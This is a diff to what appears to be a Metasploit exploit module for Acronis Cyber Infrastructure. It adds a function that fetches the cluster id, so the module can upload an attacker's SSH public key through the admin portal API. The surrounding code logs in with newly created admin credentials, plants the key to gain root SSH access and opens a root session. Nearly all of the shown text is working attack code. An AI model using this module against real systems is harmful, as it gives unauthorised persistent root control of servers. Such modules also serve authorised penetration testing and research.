@@ -169,7 +169,7 @@ def do_sshlogin(ip, user, ssh_opts)
169169 return true
170170 end
171171
172- # Login at the Acronis Cyber Infrastructure web portal
172+ # login at the Acronis Cyber Infrastructure web portal
173173 def aci_login ( name , pwd )
174174 post_data = {
175175 username : name . to_s ,
@@ -188,8 +188,32 @@ def aci_login(name, pwd)
188188 return res &.code == 200
189189 end
190190
191- # Upload the SSH public key at the Acronis Cyber Infrastructure web portal
192- def upload_sshkey ( sshkey )
191+ # returns cluster id or nil if not found
192+ def get_cluster_id
193+ res = send_request_cgi ( {
194+ 'method' => 'GET' ,
195+ 'ctype' => 'application/json' ,
196+ 'keep_cookies' => true ,
197+ 'headers' => {
198+ 'X-Requested-With' => 'XMLHttpRequest'
199+ } ,
200+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , 'clusters' )
201+ } )
202+
203+ return unless res &.code == 200
204+ return unless res . body . include? ( 'data' ) && res . body . include? ( 'id' )
205+
206+ # parse json response and get the version
207+ res_json = res . get_json_document
208+ return if res_json . blank?
209+
210+ res_json [ 'data' ] . each do |cluster |
211+ return cluster [ 'id' ] unless cluster [ 'id' ] . nil?
212+ end
213+ end
214+
215+ # upload the SSH public key using the cluster_id defined at the Acronis Cyber Infrastructure web portal
216+ def upload_sshkey ( sshkey , cluster_id )
193217 post_data = {
194218 key : sshkey . to_s ,
195219 event :
@@ -209,7 +233,7 @@ def upload_sshkey(sshkey)
209233 'headers' => {
210234 'X-Requested-With' => 'XMLHttpRequest'
211235 } ,
212- 'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , '1' , 'ssh-keys' ) ,
236+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , cluster_id . to_s , 'ssh-keys' ) ,
213237 'data' => post_data . to_s
214238 } )
215239 return true if res &.code == 202 && res . body . include? ( 'task_id' )
@@ -223,7 +247,7 @@ def execute_command(cmd, _opts = {})
223247 @timeout = true
224248 end
225249
226- # Return ACI version-release string or nil if not found
250+ # return ACI version-release string or nil if not found
227251 def get_aci_version
228252 res = send_request_cgi ( {
229253 'method' => 'GET' ,
@@ -309,9 +333,14 @@ def exploit
309333 # log in with the new admin user credentials at the Acronis Admin Portal
310334 fail_with ( Failure ::NoAccess , "Failed to authenticate at the Acronis Admin Portal with #{ username } and #{ password } " ) unless aci_login ( username , password )
311335
336+ # get cluster id to upload the SSH keys
337+ print_status ( 'Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.' )
338+ cluster_id = get_cluster_id
339+ fail_with ( Failure ::NotFound , 'Can not find a cluster and retrieve the id.' ) if cluster_id . nil?
340+
312341 # upload the public ssh key at the Acronis Admin Portal to enable root access via SSH
313342 print_status ( 'Uploading SSH public key at the Acronis Admin Portal.' )
314- fail_with ( Failure ::NoAccess , 'Failed to upload SSH public key.' ) unless upload_sshkey ( k . ssh_public_key )
343+ fail_with ( Failure ::NoAccess , 'Failed to upload SSH public key.' ) unless upload_sshkey ( k . ssh_public_key , cluster_id )
315344
316345 # login with SSH private key to establish SSH root session
317346 ssh_opts = ssh_client_defaults . merge ( {
0 commit comments